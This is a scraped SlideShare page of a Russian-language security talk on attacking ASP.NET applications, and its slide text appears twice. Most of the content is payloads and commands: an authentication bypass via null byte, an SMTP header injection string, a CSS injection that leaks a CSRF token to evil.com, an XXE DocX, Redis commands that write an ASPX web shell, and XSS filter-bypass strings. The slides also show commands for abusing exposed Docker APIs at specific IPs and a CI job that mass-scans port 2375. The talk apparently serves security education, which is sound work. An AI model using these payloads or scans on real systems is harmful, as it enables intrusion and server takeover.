Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Hack with ASP
Rambler
Morozov Alexey
История развития
Технология Сильные стороны Слабые стороны
Active Server
Pages, ASP
Общая цель Интерпретируется во время
выполнения; поддерживает
"спагетти-код"
ASP.NET Web
Forms 1.0/1.1
Скомпилированный;
UI, поддерживает ООП
Тяжелый по пропускной
способности; сложный HTML;
нетестируемый
ASP.NET Web
Forms 2.0
ASP.NET AJAX Внедрение Ajax Появление неоправданной
сложности. Отсутствие гибкости.
ASP.NET Web
Forms 3.5 – 4.0
ASP.NET MVC
1.0 – 5.0
Полностью меняется
модель разработки.
Появляется гибкость.
Отсутствие кроссплатформенности.
Невозможно компилировать на лету
ASP.NET Core Появляется
кроссплатформенность.
Открытые исходники.
1. Аутентификация в ASP.NET
Пример ASP.NET WEB FORMS
2. ByPass FormAuthentitication
1) Null – byte admin%00asd
2) "{new {Login=@"""admin0s""",
Password=@"""admin"""}}"
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
3.Удалённая
отладка
4. SMTP Header Injection
MailAddress from = new
MailAddress(“******@mail.ru", “test");
MailAddress to = new MailAddress(email);
MailMessage m = new MailMessage(from, to);
m.Subject = "Тест";
m.Body = "Письмо-тест";
m.Headers.Add(“To", email);
m.IsBodyHtml = true;
SmtpClient smtp = new
SmtpClient("smtp.mail.ru", 587);
smtp.Credentials = new
NetworkCredential(“******@mail.ru", “******");
smtp.EnableSsl = true;
smtp.Send(m);
Нагрузка:
example@ya.rurnReply-To:hac126@ya.rurn
История развития
5. RCE в PartialView
5. RCE в PartialView
Команда, которая рендерит PartialView
@{ Html.RenderPartial("Code", html); }
Controller -
public ActionResult Index(string html = "")
{
ViewBag.Html = html;
return View();
}
Partial view – Частичное представление
@model string
@{
Layout = null;
}
@Model
Index view – Главное представление
@{
string html = ViewBag.Html.ToString();
}
@{ Html.RenderPartial("Code", html); }
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
6. CSRF & CSS Injection
Валидный токен:
<input type="hidden"
name="__RequestVerificationToken"
value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhfl
M423Z5JKkVPciRopfgcPau5tj" />
Хекерский токен:
<input type="hidden"
name="__RequestVerificationToken"
value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
Нагрузка для кражи токена через CSS (не XSS):
CSS Injection
%0A{}*{color:red;} - Test
<div id ="s"> secret <style type ="text/css">
div #s:: -webkit-scrollbar-track-
piece:vertical:increment {
background: red url(//evil.com?s);
}
* {-o-link:'javascript:alert(1)';-o-link-source: current;}
7. XXE в DocX
<!DOCTYPE file SYSTEM "file://C:Temp1.txt">
unzip xxe.docx
zip -u xxe.docx [Content_Types].xml
public ActionResult Index(string url)
{
doc = DocX.Load(url)
ViewBag.Xml = doc.Text.ToString();
return View();
}
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
8. RCE через Redis
config set dir DIRNAME
config set dbfilename asd.aspx
flushall
set c '<%@ Page Language="C#"
AutoEventWireup="true"
CodeBehind="asd.aspx.cs" %><%
System.Diagnostics.Process.Start
("calc.exe"); %>'
save
<%@ Page ContentType="text/html"
validateRequest="false"
aspcompat="true"%>
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
9. XSS filter bypass
<b>sds</b>%uff1cscript%uff1ealert(‘XSS’);
%uff1c/script%uff1e uff1
</XSS/*-*/STYLE=xss:e/**/xpression (alert('XSS'))><-/script>alert(1);
%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)
%EF%BC%9E
Race condition
10. Open redirect – part 1
[Shell]
IconFile=***.**.*.***icon
Shell Command File
<script>
document.location.href =
'@ViewBag.Url'
</script>
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
11. Docker API
docker -H 178.12.15.13:2375 ps
docker -H 117.142.1.197:2375 run -w
/bin/ -t -i --privileged bash ping
$(whoami)
job1:
script:
- apt-get install nmap
- apt-get install docker
- nmap -p 2375 <сканируем докеры> ........
- docker -H <тут нашедший ипишник> .......
tags: - <Tag runner'a>
11. Docker API
import subprocess
import os
while not EOF:
……………..
cmd = 'nmap ' + ' '.join(result.split('n')) + ' -P0
-p 2375 --open --max-rate=300 --min-
rate=300 -oN result.txt‘
………………..
cmd = "git commit -a --allow-empty-message
-m '' & git push“
………………..
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Ссылки
• https://metanit.com/sharp/mvc5/12.1.php
• https://vimeo.com/35002943
• http://mybasictricks.blogspot.ru/2013/10/bypas
sing-xss-filters.html
• https://xakep.ru/2017/05/17/chrome-and-scf-
files/
• http://michaeldaw.org/news/news-030407
• http://antichat.ru/ (SooLFaa)
• https://codeby.net/ (SooLFaa)
Gracias

More Related Content

Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....

  • 2. История развития Технология Сильные стороны Слабые стороны Active Server Pages, ASP Общая цель Интерпретируется во время выполнения; поддерживает "спагетти-код" ASP.NET Web Forms 1.0/1.1 Скомпилированный; UI, поддерживает ООП Тяжелый по пропускной способности; сложный HTML; нетестируемый ASP.NET Web Forms 2.0 ASP.NET AJAX Внедрение Ajax Появление неоправданной сложности. Отсутствие гибкости. ASP.NET Web Forms 3.5 – 4.0 ASP.NET MVC 1.0 – 5.0 Полностью меняется модель разработки. Появляется гибкость. Отсутствие кроссплатформенности. Невозможно компилировать на лету ASP.NET Core Появляется кроссплатформенность. Открытые исходники.
  • 5. 2. ByPass FormAuthentitication 1) Null – byte admin%00asd 2) "{new {Login=@"""admin0s""", Password=@"""admin"""}}"
  • 8. 4. SMTP Header Injection MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = "Тест"; m.Body = "Письмо-тест"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m); Нагрузка: example@ya.rurnReply-To:hac126@ya.rurn
  • 10. 5. RCE в PartialView
  • 11. 5. RCE в PartialView Команда, которая рендерит PartialView @{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view – Частичное представление @model string @{ Layout = null; } @Model Index view – Главное представление @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); }
  • 13. 6. CSRF & CSS Injection Валидный токен: <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhfl M423Z5JKkVPciRopfgcPau5tj" /> Хекерский токен: <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" /> Нагрузка для кражи токена через CSS (не XSS): CSS Injection %0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track- piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;}
  • 14. 7. XXE в DocX <!DOCTYPE file SYSTEM "file://C:Temp1.txt"> unzip xxe.docx zip -u xxe.docx [Content_Types].xml public ActionResult Index(string url) { doc = DocX.Load(url) ViewBag.Xml = doc.Text.ToString(); return View(); }
  • 16. 8. RCE через Redis config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start ("calc.exe"); %>' save <%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
  • 18. 9. XSS filter bypass <b>sds</b>%uff1cscript%uff1ealert(‘XSS’); %uff1c/script%uff1e uff1 </XSS/*-*/STYLE=xss:e/**/xpression (alert('XSS'))><-/script>alert(1); %EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1) %EF%BC%9E Race condition
  • 19. 10. Open redirect – part 1 [Shell] IconFile=***.**.*.***icon Shell Command File <script> document.location.href = '@ViewBag.Url' </script>
  • 21. 11. Docker API docker -H 178.12.15.13:2375 ps docker -H 117.142.1.197:2375 run -w /bin/ -t -i --privileged bash ping $(whoami) job1: script: - apt-get install nmap - apt-get install docker - nmap -p 2375 <сканируем докеры> ........ - docker -H <тут нашедший ипишник> ....... tags: - <Tag runner'a>
  • 22. 11. Docker API import subprocess import os while not EOF: …………….. cmd = 'nmap ' + ' '.join(result.split('n')) + ' -P0 -p 2375 --open --max-rate=300 --min- rate=300 -oN result.txt‘ ……………….. cmd = "git commit -a --allow-empty-message -m '' & git push“ ………………..
  • 24. Ссылки • https://metanit.com/sharp/mvc5/12.1.php • https://vimeo.com/35002943 • http://mybasictricks.blogspot.ru/2013/10/bypas sing-xss-filters.html • https://xakep.ru/2017/05/17/chrome-and-scf- files/ • http://michaeldaw.org/news/news-030407 • http://antichat.ru/ (SooLFaa) • https://codeby.net/ (SooLFaa)